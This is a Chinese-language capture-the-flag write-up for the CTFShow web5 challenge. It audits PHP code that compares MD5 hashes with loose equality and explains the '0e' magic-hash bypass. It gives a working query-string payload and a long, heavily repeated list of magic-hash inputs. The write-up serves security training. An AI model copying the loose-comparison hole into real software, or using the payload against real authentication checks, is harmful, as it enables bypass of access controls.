基于CTFShow-web5的MD5绕过漏洞问题
CTFhow—web5
1、代码审计部分
error_reporting(0); //表示关闭所有PHP错误报告
?>
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2']; //获取v1，v2
if(isset($v1) && isset($v2)) //判断v1和v2是否为空
{
if(!ctype_alpha($v1)){ //判断v1是否仅仅是由字母组成的字符和字符串
die("v1 error");
}
if(!is_numeric($v2)){//判断v2是否仅仅是由数字组成的字符和字符串
die("v2 error");
}
if(md5($v1)==md5($v2)){ //判断v1和v2转化的md5值是否相等
echo $flag; //如果相等，则输出flag。
}
}
else{
echo "where is flag?";
}?>
2、题目思路
md5加密漏洞（这里考虑0e绕过）
md5漏洞介绍：
PHP在处理哈希字符串时，它把每一个以“0E”开头的哈希值都解释为0
所以只要v1与v2的md5值以0E开头即可。这样最后php解析到的v1和v2的md5值就都是0了
payload:
?v1=QNKCDZO&v2=240610708
这里附上常见的0E开头的MD5
0e开头的md5和原值：
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
满足全是字母或者全是数字且md5值的开头是0e的也只有第一条和第二条了。
3、flag
参考文章：点此跳转